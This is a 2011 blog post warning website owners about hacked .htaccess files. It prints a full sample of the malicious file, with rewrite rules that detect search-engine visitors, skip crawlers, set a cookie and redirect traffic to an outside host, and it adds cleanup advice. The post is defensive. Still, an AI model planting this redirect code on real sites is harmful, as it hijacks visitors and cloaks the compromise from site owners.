Watch out for htaccess hacks

by Pete on June 23, 2011

Ive just stumbled across a couple of sites that have had their htaccess files hacked

(dot)htaccess is a special system file that can provide a number functions in the site such as redirection etc
For more on htaccess files and functions refer to http://en.wikipedia.org/wiki/Htaccess

A sample hacked htaccess file is listed below (although Ive  also seen some variations)

Im no htaccess script guru but it looks like it:

  1. Checks to see if the visitor to your site came via any one of the search engines listed and/or using any of the browsers listed
  2. If so it writes a cookie called xccgtswgokoeon the visitors pc  then
  3. runs a script on http://apartliberal.com parsing the web address, time etc
  4. 302 redirects

Id appreciate any refinements from script experts out there :)

Sample hacked htaccess

# exgocgkctswo

RewriteEngine On

RewriteCond %{REQUEST_METHOD} ^GET$

RewriteCond %{HTTP_REFERER} ^(http\:\/\/)?([^\/\?]*\.)?(google\.|yahoo\.|bing\.|msn\.|yandex\.|ask\.|excite\.|altavista\.|netscape\.|aol\.|hotbot\.|goto\.|infoseek\.|mamma\.|alltheweb\.|lycos\.|search\.|metacrawler\.|rambler\.|mail\.|dogpile\.|ya\.|\/search\?).*$ [NC]

RewriteCond %{HTTP_REFERER} !^.*(q\=cache\:).*$ [NC]

RewriteCond %{HTTP_USER_AGENT} !^.*(bing|Accoona|Ace\sExplorer|Amfibi|Amiga\sOS|apache|appie|AppleSyndication).*$ [NC]

RewriteCond %{HTTP_USER_AGENT} !^.*(Archive|Argus|Ask\sJeeves|asterias|Atrenko\sNews|BeOS|BigBlogZoo).*$ [NC]

RewriteCond %{HTTP_USER_AGENT} !^.*(Biz360|Blaiz|Bloglines|BlogPulse|BlogSearch|BlogsLive|BlogsSay|blogWatcher).*$ [NC]

RewriteCond %{HTTP_USER_AGENT} !^.*(Bookmark|bot|CE\-Preload|CFNetwork|cococ|Combine|Crawl|curl|Danger\shiptop).*$ [NC]

RewriteCond %{HTTP_USER_AGENT} !^.*(Diagnostics|DTAAgent|ecto|EmeraldShield|endo|Evaal|Everest\-Vulcan).*$ [NC]

RewriteCond %{HTTP_USER_AGENT} !^.*(exactseek|Feed|Fetch|findlinks|FreeBSD|Friendster|Fuck\sYou|Google).*$ [NC]

RewriteCond %{HTTP_USER_AGENT} !^.*(Gregarius|HatenaScreenshot|heritrix|HolyCowDude|Honda\-Search|HP\-UX).*$ [NC]

RewriteCond %{HTTP_USER_AGENT} !^.*(HTML2JPG|HttpClient|httpunit|ichiro|iGetter|iPhone|IRIX|Jakarta|JetBrains).*$ [NC]

RewriteCond %{HTTP_USER_AGENT} !^.*(Krugle|Labrador|larbin|LeechGet|libwww|Liferea|LinkChecker).*$ [NC]

RewriteCond %{HTTP_USER_AGENT} !^.*(LinknSurf|Linux|LiveJournal|Lonopono|Lotus\-Notes|Lycos|Lynx|Mac\_PowerPC).*$ [NC]

RewriteCond %{HTTP_USER_AGENT} !^.*(Mac\_PPC|Mac\s10|like\sMac\sOS|macDN|Mediapartners|Megite|MetaProducts).*$ [NC]

RewriteCond %{HTTP_USER_AGENT} !^.*(Miva|Mobile|NetBSD|NetNewsWire|NetResearchServer|NewsAlloy|NewsFire).*$ [NC]

RewriteCond %{HTTP_USER_AGENT} !^.*(NewsGatorOnline|NewsMacPro|Nokia|NuSearch|Nutch|ObjectSearch|Octora).*$ [NC]

RewriteCond %{HTTP_USER_AGENT} !^.*(OmniExplorer|Omnipelagos|Onet|OpenBSD|OpenIntelligenceData|oreilly).*$ [NC]

RewriteCond %{HTTP_USER_AGENT} !^.*(os\=Mac|P900i|panscient|perl|PlayStation|POE\-Component|PrivacyFinder).*$ [NC]

RewriteCond %{HTTP_USER_AGENT} !^.*(psycheclone|Python|retriever|Rojo|RSS|SBIder|Scooter|Seeker|Series\s60).*$ [NC]

RewriteCond %{HTTP_USER_AGENT} !^.*(SharpReader|SiteBar|Slurp|Snoopy|Soap\sClient|Socialmarks|Sphere\sScout).*$ [NC]

RewriteCond %{HTTP_USER_AGENT} !^.*(spider|sproose|Rambler|Straw|subscriber|SunOS|Surfer|Syndic8).*$ [NC]

RewriteCond %{HTTP_USER_AGENT} !^.*(Syntryx|TargetYourNews|Technorati|Thunderbird|Twiceler|urllib|Validator).*$ [NC]

RewriteCond %{HTTP_USER_AGENT} !^.*(Vienna|voyager|W3C|Wavefire|webcollage|Webmaster|WebPatrol|wget|Win\s9x).*$ [NC]

RewriteCond %{HTTP_USER_AGENT} !^.*(Win16|Win95|Win98|Windows\s95|Windows\s98|Windows\sCE|Windows\sNT\s4).*$ [NC]

RewriteCond %{HTTP_USER_AGENT} !^.*(WinHTTP|WinNT4|WordPress|WWWeasel|wwwster|yacy|Yahoo).*$ [NC]

RewriteCond %{HTTP_USER_AGENT} !^.*(Yandex|Yeti|YouReadMe|Zhuaxia|ZyBorg).*$ [NC]

RewriteCond %{HTTP_COOKIE} !^.*xccgtswgokoe.*$

RewriteCond %{HTTPS} ^off$

RewriteRule ^(.*)$ http://apartliberal.com/cgi-bin/r.cgi?p=15003&i=f2b72ab1&j=330&m=d8731419d5d52ced228aa7a1589b13c1&h=%{HTTP_HOST}&u=%{REQUEST_URI}&q=%{QUERY_STRING}&t=%{TIME} [R=302,L,CO=xccgtswgokoe:1:%{HTTP_HOST}:10080:/:0:HttpOnly]

# exgocgkctswo

Ive tried to find info about this hack and it seems like its been around for a while with reports going back to 2010

The response to the enquires Ive found is surprisingly matter of fact along the lines of  ”…yeah well you got hacked so delete it and change passwords and move on…”

The files are randomly added to subfolders across the site, and even outside of the public_html folders too

Removing the hacked htacess files

Ive found CuteFTP Pro to be the most effective tool  to clean them out because it will search for a filename recurvely (ie automatically) through folders.

The offending files are unusually large for htaccess;  and with the same date stamp are easy to spot. Existing  htaccess files which have had the hacked inserted are slightly larger and again easy to spot.

What do they do ?

I’d be very interested to know how a hacker can edit a htaccess and also what the purpose of this hack is…

My conspiracy theroy is that they are some how linked with the mystery referal visits

This post was written by

Pete – who has written posts on The Internet Marketer.
Peter Cornish has an extensive background in technical IT roles; as well as over 15 years of experience in sales and marketing roles. Peter is a Web Marketing author; trainer and also provides web sales mentoring for startup businesses. More...

Email  • Google +

{ 0 comments… add one now }

Leave a Comment

Previous post:

Next post: